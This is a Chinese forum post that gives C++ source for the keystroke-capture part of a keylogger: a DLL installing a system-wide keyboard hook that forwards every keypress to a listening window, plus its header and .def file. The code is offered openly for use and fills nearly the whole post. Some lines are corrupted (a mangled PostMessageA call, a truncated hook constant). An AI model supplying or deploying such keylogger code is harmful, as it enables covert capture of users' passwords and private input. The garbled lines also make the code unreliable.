首页 | 新闻 | 新品 | 文库 | 方案 | 视频 | 下载 | 商城 | 开发板 | 数据中心 | 座谈新版 | 培训 | 工具 | 博客 | 论坛 | 百科 | GEC | 活动 | 主题月 | 电子展
返回列表 回复 发帖

C++键盘记录程序代码(2)

C++键盘记录程序代码(2)

//共享数据段  

#pragma data_seg("YCIShared")  

HWND g_hWndCaller=NULL; //保存主窗口句柄  

HHOOK g_hHook = NULL; //保存钩子句柄   

#pragma data_seg()  

// 这是导出变量的一个示例  

KEYHOOK_API int nKeyHook=0;  


// 这是导出函数的一个示例。  

KEYHOOK_API int fnKeyHook(void)  

{  

    return 42;  

}  



//通过内存得到模块句柄的帮助函数  

HMODULE WINAPI ModuleFromAddress(LPVOID pv)  

{  

    MEMORY_BASIC_INFORMATION  mbi;  

    if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))  

    {  

        return (HMODULE)mbi.AllocationBase;  

    }  

    else  

    {  

        return NULL;  

    }  

}  

//钩子处理函数  

LRESULT CALLBACK KeyboardProc(  

    __in  int code,  

    __in  WPARAM wParam,  

    __in  LPARAM lParam  

    )  

{  

    if (code<0||code==HC_NOREM)  

    {  

        return ::CallNextHookEx(g_hHook, code, wParam,lParam);  

    }  

    //如果重复消息,交给下一链  

    if (lParam & 0x40000000)  

    {  

        return ::CallNextHookEx(g_hHook, code, wParam,lParam);  

    }  

    //通知主窗口  

    :ostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);  

    return ::CallNextHookEx(g_hHook, code, wParam,lParam);  


}  

//安装和卸载钩子函数  

BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)  

{  

    BOOL bRet = TRUE;  

    g_hWndCaller = hWndCaller;  

    if (bInstall) //安装钩子  

    {  

        g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);  

        bRet = (g_hHook != NULL);  

    }  

    else //卸载钩子  

    {  

        ::UnhookWindowsHookEx(g_hHook);  

        g_hHook = NULL;  

    }  

    return bRet;  

}  

// 这是已导出类的构造函数。  

// 有关类定义的信息,请参阅 KeyHook.h  

CKeyHook::CKeyHook()  

{  

    return;  

}

.h头文件代码:

代码如下:

// 下列 ifdef 块是创建使从 DLL 导出更简单的  

// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS  

// 符号编译的。在使用此 DLL 的  

// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将  

// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的  

// 符号视为是被导出的。  

#ifdef KEYHOOK_EXPORTS  

#define KEYHOOK_API __declspec(dllexport)  

#else  

#define KEYHOOK_API __declspec(dllimport)  

#endif  


#define  HM_KEY WM_USER + 100  

// 此类是从 KeyHook.dll 导出的  

class KEYHOOK_API CKeyHook {  

public:  

    CKeyHook(void);  

    // TODO: 在此添加您的方法。  

};  


extern KEYHOOK_API int nKeyHook;  


KEYHOOK_API int fnKeyHook(void);  


//声明要导出的  

BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);


.def代码:

代码如下:

EXPORTS  

    SetKeyHook  

SECTIONS  

    YCIShared  Read Write Shared

希望本文所述对大家的C++程序设计有所帮助。

继承事业,薪火相传
返回列表